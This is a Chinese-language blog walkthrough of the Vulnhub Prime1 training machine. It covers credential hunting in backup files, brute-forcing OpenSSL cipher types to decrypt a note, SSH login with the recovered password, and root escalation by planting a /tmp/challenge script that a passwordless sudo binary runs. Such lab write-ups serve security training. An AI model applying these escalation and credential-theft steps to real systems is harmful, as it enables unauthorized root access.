freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub靶机实操笔记-Prime1-解法二
2023-07-02 11:14:50
所属地 北京

Prime1提权的另一种方式

接Vulnhub靶机实操笔记-Prime1-解法一,获得一个初始权限通过uname -a查看当前系统版本较低是存在一个内核提权的漏洞的。正常情况下,直接使用内核提权速度更快也比较暴力容易被检测发现。

1686362024_6483d7a876fbb790ca8a9.png!small?1686362025000

一、查看用户权限

可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码

1686362045_6483d7bd53459b0ea4650.png!small?1686362045844

移动到/home/saket目录下,首先先查看当前目录下有哪些文件与权限。发现enc是有执行权限的,直接尝试执行需要输入密码。尝试strings能否直接查看enc内容查看不了,尝试file读取enc提示没有读的权限。

cd /home/saket
ls -liah
./enc
strings enc         #尝试查看enc的内容
file enc            #尝试直接读取enc

1686362063_6483d7cfe24c6dfcd7609.png!small?1686362064794

二、翻找文件

既然提示要输入密码,接下来的思路就是找敏感文件,看看能不能在关键信息。

find / -name '*backup*' 2>dev/null | sort | less

find                     #查找文件命令
2>dev/null               #将报错文件丢除
sort                     #将结果排序
less                     #分页

1686362142_6483d81e01f9d68c690f2.png!small?1686362142719

在opt/backup文件夹尝试查看server_database,提示server_database是目录。进入server_database目录下找到backup_pass文件,通过读取文件提示enc的密码是backup_password

1686362173_6483d83d313124a42e696.png!small?1686362173759

三、输入密码

再次执行enc文件,将获得的密码输入进去,提示权限不足enc.txt和key.txt无法释放。我丢,一开始我还是完了www-data权限不够,后面大佬点拨没有sudo去执行,加入sudo后终于成功。

不过出现good为何会如此怪异?txt那两个文件呢?发现执行后在当前目录进行释放了两个txt文件,查看enc.txt文件看到一个base64加密内容,查看key.txt文件提示将ippsec转成md5的hash

1686362192_6483d850e2911e8418224.png!small?1686362193404

1686362213_6483d865989cf45cdf3bf.png!small?1686362214126

1686362234_6483d87acc5272dcc4454.png!small?1686362235311

编码加密

将ippsec不输出结尾的换行符进行md5加密,以空格为分割,打印输出第一个值

sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}'

-n                  #不输出结尾的换行符
md5sum              #md5的加密形式
awk                 #awk是文本处理工具
-F                  #以什么条件进行分割条件,本例子是用空格进行分割

1686362254_6483d88eef0b81bd93b31.png!small?1686362255802

四、OpenSSL

1、openssl解法命令格式

利用获得的key.txt提示将ippsec”转换为md5哈希,利用key去解密看看enc.txt的内容具体是什么。(echo -n有时候需要根据解密的具体内容增减)

echo -n '需要解密的内容' | openssl enc -d -a -CipherType -K '16进制的key值'

-n                  #不输出结尾的换行符
-d                  #解密
-a                  #指定编码      

1686362282_6483d8aa7038572d5e07f.png!small?1686362282969

查看openssl帮助看到标准命令就是enc,加密类型就是框框内的

1686362300_6483d8bc5bac39704a203.png!small?1686362300939

将这些加密类型整合到一个文件中(这边保存的文件名是CipherTypeRaw),并对文件进行重新排列每行

1686362318_6483d8ce4af44335d8e85.png!small?1686362319532

将CipherTypeRaw文件中的空格全部替换成\n换行

sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw

gsub                     #替换\\中间的内容
CipherTypeRaw            #操作的文件名名称

替换后的效果如下

1686362346_6483d8eab338957e77ae8.png!small?1686362347226

对数据再美化美化,将数据排序一下,并且取值唯一,稍微统计一下一共有多少行

sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw | sort | uniq | wc -l
sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw | sort | uniq >CipherTypes

gsub                     #替换\\中间的内容
CipherTypeRaw            #操作的文件名名称
sort                     #结果排序
uniq                     #结果取唯一值
wc -l                    #统计结果
>CipherTypes             #是将结果输出到文件CipherTypes上 

1686362490_6483d97ad7b2e0fd41e8f.png!small?1686362491430

sudo openssl enc --help   #详细查看enc下面的使用方法

-K        #看到带这个key是需要16进制的hex,并不是传入前面生成的md5值

1686362515_6483d993752ad28d5324f.png!small?1686362516299

2、OD

od是linux的系统命令,转储文件8进制或其他进制

man od

-A参数


-A               #指定RADIX为在doxn四种中的一种,例子选择的是none
-t               #指定类型,例子需要指定x1

1686362532_6483d9a4844ac69fdbd70.png!small?1686362532943

1686362547_6483d9b3d2072212b7d11.png!small?1686362548520

1686362563_6483d9c380d5ac16e5402.png!small?1686362564404

选择十六进制的,(靶机选择的是x1)

单字节转16进制:使用ASCII码表将每个字符转换为对应的16进制值。例如,字符串 "A" 的16进制表示为 "41",其中 "41" 是字符 "A" 在ASCII码表中的十六进制表示。

双字节转16进制:使用Unicode字符编码标准将每个字符转换为对应的16进制值。例如,字符串 "中" 的16进制表示为 "4E2D",其中 "4E2D" 是字符 "中" 在Unicode编码表中的十六进制表示。

对于判断是使用双字节还是单字节转16进制,您需要查看当前编码方式,主要有以下三种:

ASCII编码:该编码方式只支持单字节字符,因此在此编码方式下,将字符串转换为16进制时只需要使用单字节转换方式即可。例如 "ippsec" 就是单字节。
UTF-8编码:UTF-8编码是一种可变长度字符编码方式,支持单字节和双字节字符。在此编码方式下,单字节字符采用单字节转换方式,而双字节字符采用双字节转换方式。例如 "中文" 就是双字节字符。
UTF-16编码:UTF-16编码是一种双字节编码方式,因此在此编码方式下,所有字符都是双字节字符,需要使用双字节转换方式。例如 "英文" 在UTF-16编码方式下也是双字节字符。

根据上述规则,如果字符串 "ippsec" 是使用ASCII编码的,则将其转换为16进制时只需要使用单字节转换方式;如果是使用UTF-8编码,那么需要对其中的双字节字符使用双字节转换方式。

1686362586_6483d9dac5ca46cdfe55f.png!small?1686362587759

3、生成十六进制hex

将字符串 "ippsec" 转换为 MD5 哈希值,并将其输出为十六进制格式。

sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '

-n                  #不输出结尾的换行符
md5sum              #md5的加密形式
awk                 #awk是文本处理工具
-F                  #以什么条件进行分割条件,本例子是用空格进行分割
tr                  #可以对来自标准输入的字符进行替换、压缩和删除。
-d                  #删除字符串

1686362612_6483d9f4d941be23e83d3.png!small?1686362613958

4、开始破解openssl

当不知道是何种加密类型时,采用bat脚本批量跑命令去破解,并将正确的加密方式输出

例子的加密方式是:aes-256-ecb,通过解密获得一个密码

for Cipher in $(cat CipherTypes);do echo  'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bF[91/498]
yvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null ;echo $Cipher;done 

for Cipher in $(cat CipherTypes);do echo -n 'xxxxxxxxxxxx' | openssl enc -d -a -$Cipher -K xxxxxxxxxxxxx 2>/dev/null ; echo $Cipher;done


写了bat脚本遍历CipherTypes文件中的参数,将参数传给变量Cipher
-n                     #openssl的bug,有的时候需要,有的时候不需要。具体取决于解密的xxxxx内容
                       中是否有包含\n换行符。如果有换行符时候需要保留-n,里面内容没有时就把不需要
	                     -n
do                     #后接具体执行操作语句命令
2>dev/null             #将报错信息丢除
done                   #结束bat脚本命令

1686362643_6483da13ed2882351dd92.png!small?1686362645189

再次验证一下获得的加密方式,这边直接用aes-256-ecb进行解密操作

echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -aes-256-ecb -K '3336366137346362336339353964653137643631646233303539316333396431'

1686362670_6483da2e536f99ed8ca0a.png!small?1686362670906

五、拿下内网机器

根据解密的内容翻译,得到用户saket有一个旧密码是 tribut_to_ippsec

1686362686_6483da3ee0f6e77ac81f8.png!small?1686362687581

尝试ssh直接连接,发现成功连接机器

1686362702_6483da4ee4a6586763241.png!small?1686362703855

六、内网提权

1、查看系统详情

uname -a

1686362724_6483da642dee11f51e2d8.png!small?1686362724831

2、查看用户权限

发现可以不需要密码以root权限去执行一个/home/victor/undefeated_victor文件

sudo -l

1686362760_6483da88b709beda37f93.png!small?1686362761234

3、查看定时任务

cat etc/crontab

1686362780_6483da9c02b93b5ccbb2e.png!small?1686362780380

4、成功提权

提示/tmp/challenge文件没有找到

sudo /home/victor/undefeated_victor

1686362818_6483dac20cd258aeb621a.png!small?1686362818907

来到/tmp目录下查看是否有challenge文件,发现没有challenge文件。于是新建一个challenge文件,在文件中写启用一个新的bash线程命令。对文件challenge赋予执行权限,再利用前面提醒的“不需要密码以root权限去执行一个/home/victor/undefeated_victor文件”再执行文件,就获得了root权限。

cd /tmp
echo '#!/bin/bash' >challenge
echo '/bin/bash' >>challenge
chmod +x challenge
sudo /home/victor/undefeated_victor
whoami

1686362838_6483dad61f9f31c92aa81.png!small?1686362838680

七、靶场下载链接

https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

# 内网提权 # vulnhub靶机 # linux提权 # 靶场平台 # 靶场攻关
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录